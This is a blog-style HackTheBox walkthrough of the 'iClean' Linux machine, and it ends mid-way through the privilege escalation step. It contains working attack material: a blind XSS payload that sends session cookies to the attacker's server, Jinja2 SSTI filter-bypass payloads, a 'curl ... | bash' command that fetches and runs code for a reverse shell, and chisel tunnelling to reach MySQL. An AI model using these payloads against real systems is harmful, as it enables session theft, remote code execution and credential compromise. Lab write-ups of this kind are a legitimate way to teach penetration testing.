iClean HTB Writeup | HacktheBox

Welcome, fellow cybersecurity enthusiasts, to today’s exciting blog post where we embark on a thrilling journey through the virtual landscape of Hackthebox. Our destination? The enigmatic iClean machine — a medium difficulty Machine that will test our mettle and sharpen our hacking skills. With Linux as its operating system, iClean promises a rich learning experience, providing us with an opportunity to explore various techniques and methodologies.

Nmap Scan:

Every successful hacking expedition begins with reconnaissance, and in the realm of penetration testing, Nmap is an indispensable tool. So, without further ado, let’s dive right in and fire up our trusty Nmap scanner to unravel the secrets hidden within the iClean machine.

nmap -sC -sV -O -A -oA 10.129.43.135 -v 10.129.43.135

Nmap scan report for 10.129.43.135
Host is up (0.86s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_  256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Site doesn't have a title (text/html).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=4/7%OT=22%CT=1%CU=35006%PV=Y%DS=2%DC=T%G=Y%TM=6612D
OS:0A4%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)S
OS:EQ(SP=107%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=107%GCD=1%ISR=10C%TI=
OS:Z%CI=Z%II=I%TS=B)OPS(O1=M53AST11NW7%O2=M53AST11NW7%O3=M53ANNT11NW7%O4=M5
OS:3AST11NW7%O5=M53AST11NW7%O6=M53AST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88
OS:%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53ANNSNW7%CC=Y%Q=)T1(R=Y%DF
OS:=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z
OS:%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=
OS:Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%
OS:RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
OS:IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 29.963 days (since Fri Mar  8 20:51:34 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 23/tcp)
HOP RTT       ADDRESS
1   732.17 ms 10.10.16.1
2   328.04 ms 10.129.43.135

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr  7 19:58:12 2024 -- 1 IP address (1 host up) scanned in 124.91 seconds

Having conducted an initial Nmap scan, we discovered that the iClean machine has two open ports: 22 and 80. It’s time to focus our attention on port 80, where we anticipate finding a web server hosting potential vulnerabilities and endpoints waiting to be explored. Armed with our trusty web browser and Burp Suite intercepting proxy, we are about to embark on the next stage of our

redirection from the ip

As we eagerly attempted to access the IP address in our browser to explore the iClean machine further, an intriguing redirection occurred. We were redirected to a new domain: capiclean.htb. This redirection indicates that the iClean machine is associated with the Capiclean domain. To seamlessly proceed with our investigation, we need to update our system’s /etc/hosts file.

The /etc/hosts file is a local text file on Unix-like operating systems that allows us to manually map domain names to specific IP addresses, bypassing the need for DNS resolution. By adding an entry to this file, we can conveniently access the Capiclean domain directly from our browser without relying on external DNS servers this is the command we can use

echo "10.129.43.135 capiclean.htb" | sudo tee -a /etc/hosts

With the capiclean.htb domain successfully added to our /etc/hosts file, we can now delve into the Capiclean website and continue our quest to uncover vulnerabilities. To complement our exploration, we’ll engage in a technique called fuzzing, which involves systematically testing inputs for unexpected behavior or vulnerabilities.

website accessed and below we start fuzzing with dirsearch

dirsearch -u http://capiclean.htb/ --exclude-status 403,404,400,401 -o dir


  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: dir

Target: http://capiclean.htb/

[20:04:41] Starting: 
[20:05:22] 200 -    2KB - /about
[20:06:25] 302 -  189B  - /dashboard  ->  /
[20:07:05] 200 -    2KB - /login
[20:07:07] 302 -  189B  - /logout  ->  /
[20:07:50] 200 -    10KB - /quote
[20:07:52] 200 -    8KB - /services

Task Completed

/quote when we submit below is the burpsuite capture

here is the POST request sent for submit

/quote endpoint, which allows clients to request quotes for services. Intrigued, we decided to scrutinize the underlying code and inputs for potential vulnerabilities. Through careful examination and testing, we identified a blind XSS vulnerability—a gateway to exploiting the backend user.

so we get to change the service part and replace it with the exploit and then from there we go forward and start a server on our local machine as follows in our terminal and leave it running

php -S 0.0.0.0:8001

then we head to our exploit this below is the crafted payload we shall be using

<img src=x onerror=this.src="http://10.10.16.28:8001/"+btoa(document.cookie)>

Remember to replace the IP address with your own IP address and the port with the port number you have opened on your local server. This will allow you to receive a reply back from the backend. Additionally, we need to URL encode the payload to ensure it is correctly interpreted by the server. We can use the Burp Suite encoder to perform the encoding. Finally, make sure to edit the POST request as shown below:

Encode the payload **Encode as URL**:
Use the Burp Suite encoder to URL [this is found in the decoder section] encode the XSS payload you have crafted. This encoding is necessary to ensure that the payload is properly interpreted by the server. Replace any special characters with their encoded equivalents.

2. Edit the POST request and send / submit:
Locate the intercepted POST request in Burp Suite that is sent to the /sendMessage endpoint. Modify the service parameter by replacing it with your encoded XSS payload. Ensure that the parameter name and value remain intact, only replacing the value with the encoded payload.

edit POST rquest with encoded payload and send await reply in local server running

On heading back to the terminal we received the cookie

hence forth we have to decode it as we can see it is base64 encoded

so now we have our session cookie so all we have to do is place it in our browser session cookies and then access the admin Dashboard

so we keep on browsing as we explore the differnt other pages we have access to but the the Generate QR caught my eye so we’ll proceed to generate a QR code and capture the request using BURP SUITE it takes in invoice-id as input

In the generate QR feature of the application, we discovered a vulnerability in the “qr_link” parameter.

This parameter blindly reflects any input provided back in the response without proper checks. After several attempts, we found that we can exploit this vulnerability using Python Jinja2 Server-Side Template Injection (SSTI).

Python Jinja2 is a tool that helps developers build dynamic web pages. It allows us to create templates that can be filled with data and then displayed to users. However, in this case, the application doesn’t properly validate or sanitize the input in the “qr_link” parameter, which opens the door for an attack.

To exploit this vulnerability, we can inject special Jinja2 template code into the “qr_link” parameter. When the application processes our input, it will execute the injected code on the server-side. This gives us the ability to control the server’s behavior and potentially perform malicious actions.

Payload: {{config.items()}}

In this case, the payload uses the config.items() function, which is a part of the Jinja2 template engine. When this payload is injected into the “qr_link” parameter, the server will execute the code and include the result in the response.

The config.items() function retrieves the configuration settings of the server. By injecting this payload, we can potentially extract valuable information such as database credentials, API keys, or other sensitive data that may be stored in the server’s configuration.

It appears that our exploration and experimentation with various payloads and class checks later causes a block to be triggered. The response from the server may indicate that our access has been restricted. However, we have found a technique to circumvent this block, which was detailed in a helpful blog post. key note its in Chineese I had to google translate

During our testing process, we encountered a situation where our actions triggered a security measure implemented by the server. This measure restricts our access and prevents us from continuing our tests as usual. The server’s response clearly indicates that our activities have been detected and restricted.

To overcome this obstacle, we turned to the knowledge shared in a blog post that we came across. The blog post provided insights on bypassing similar blocks and restrictions. By following the technique described in the blog post, we were able to find a workaround and continue our testing process effectively. It involved replacing “x5f” with “_” and “x2E” with “.” in the payloads.

It’s important to remember that encountering blocks or restrictions during security testing is not uncommon, as organizations implement measures to protect their systems. However, it is crucial to approach such situations responsibly, respecting the boundaries and guidelines set by the target system. In this case, we were able to leverage the knowledge shared in the blog post to find a solution without causing any harm or violating any ethical boundaries. below are the crafted payloads

{{"".__class__}}
{{""["x5fx5fclassx5fx5f"]}}

payload replaced with {{“”[“x5fx5fclassx5fx5f”]}}

{{''.__class__.__mro__ }}
{{''['__class__.__mro__']}}
{{""["x5fx5fclassx5fx5f"]["x5fx5fmrox5fx5f"]}}

payload replaced with {{“”[“x5fx5fclassx5fx5f”][“x5fx5fmrox5fx5f”]}}

lets validate if we can execute commands in its shell

{{‘’.__class__.__mro__[1].__subclasses__()[287]}}
{{""["x5fx5fclassx5fx5f"]["x5fx5fmrox5fx5f"][1]["x5fx5fsubclassesx5fx5f"]()[365]('ls /',shell=True,stdout=-1).communicate()}}

payload replaced with {{“”[“x5fx5fclassx5fx5f”][“x5fx5fmrox5fx5f”][1][“x5fx5fsubclassesx5fx5f”]()[365](‘ls /’,shell=True,stdout=-1).communicate()}}

Now that we have proved that let us get a reverse shell and to do that let us first write a bash script which we shall upload to the server and run it so as to get a shell back

below we write a bash script in terminal and then also open a port for the php server so as to enable the upload

write script and start server in the same directory

then also start listening at port 6565 as stated in the bash script

back to burpsuite the payload we crafted to use

{{‘’.__class__.__mro__[1].__subclasses__()[287]}}
{{""["x5fx5fclassx5fx5f"]["x5fx5fmrox5fx5f"][1]["x5fx5fsubclassesx5fx5f"]()[365]('curl 10.10.16.28:8001/exploit.sh|bash',shell=True,stdout=-1).communicate()}}

we send the payload manipulated POST request to the server in burpsuite

And here below are the results after sending the request first and foremost the script exploit.sh is downloaded by the server from our local server we started

and then we get a Shell a reply where we were listening

as you know from here we can run commands and do more recon here

After examining the “app.py” file, we discovered the database credentials embedded within it.

so from there for further enumeration we upload linpeas and find out more we run this in the reverse shell

curl 10.10.16.28:8001/linpeas.sh -o linpeas.sh

then we change file permissions with

chmod +x linpeas.sh

then we run the file

Running LinPEAs showed something on port 3306, fair guess this is a mysql service, for which we have the creds.

However, it is evident from the information provided above that the MySQL service is running locally on the target machine, as indicated by the IP address 127.0.0.1 and port 3306. This means that we need to establish port forwarding in order to access it remotely. To accomplish this, I will utilize the chisel binaries. First, we need to upload the chisel binaries to the /tmp directory on the target machine.

cd /tmp
curl 10.10.xx.xx:8001/chisel -o chisel

Next, let’s proceed with using the chisel binaries. To begin, ensure that you have the chisel binaries available on both your local machine and the remote target machine. It is important to note that using the same versions of chisel on both machines is advisable for compatibility purposes.

We will start by initiating the reverse tunneling process on our local machine. This will allow us to establish a connection from the target machine back to our local machine. To do this, follow these steps:

Open a terminal or command prompt on your local machine.

Navigate to the directory where the chisel binary is located.

Start the reverse tunneling by executing the following command:

./chisel server -p <local_port> --reverse

Replace <local_port> with the desired local port number to be used for the tunnel.

This command starts the chisel server in reverse mode, listening on the specified local port.

Once the reverse tunnel is established, the chisel server will display a message indicating that it is running and waiting for incoming connections.

Having established the reverse tunnel on your local machine, the next step is to return to your reverse shell on the target machine and forward the port to your localhost.

In your reverse shell on the target machine, execute the following command:

./chisel client 10.10.xx.xx:9001 R:3306:localhost:3306

This command connects the chisel client on the target machine to the chisel server running on your local machine (assuming the IP address of your local machine is 10.10.14.34 and the chisel server is listening on port 9001). It sets up a port forwarding configuration that forwards connections made to port 3306 on the target machine to port 3306 on your localhost.

Once the command is executed, the chisel client will establish a connection to the chisel server on your local machine. Any traffic sent to port 3306 on the target machine will be forwarded to port 3306 on your localhost through the reverse tunnel.

This configuration allows you to access the MySQL service running on the target machine through your localhost. You can now proceed with interacting with the MySQL service as needed.

back to our local machine a session has been created

so we now connect to the database with the credentials we already have

we now go though and look for valuables in the database and as wee see we can get the user hashes from the capiclean database

with the help of Crackstation i managed to crack the hash

so now we head on to ssh into the machine as consuela now that we have the password

Now we have owned user

Now lets move forward to privilege escalation

we notice that consuela can run qpdf as root so on further investigation I also found this email to consuela also about pdfs from management

on Research I found that I can embed another file into a pdf generated and then download the pdf from the remote target to my local machine and then use binwalk to extract the embeded file as we are to see below so we start by embedding the ssh root private key into the generated pdf by qpdf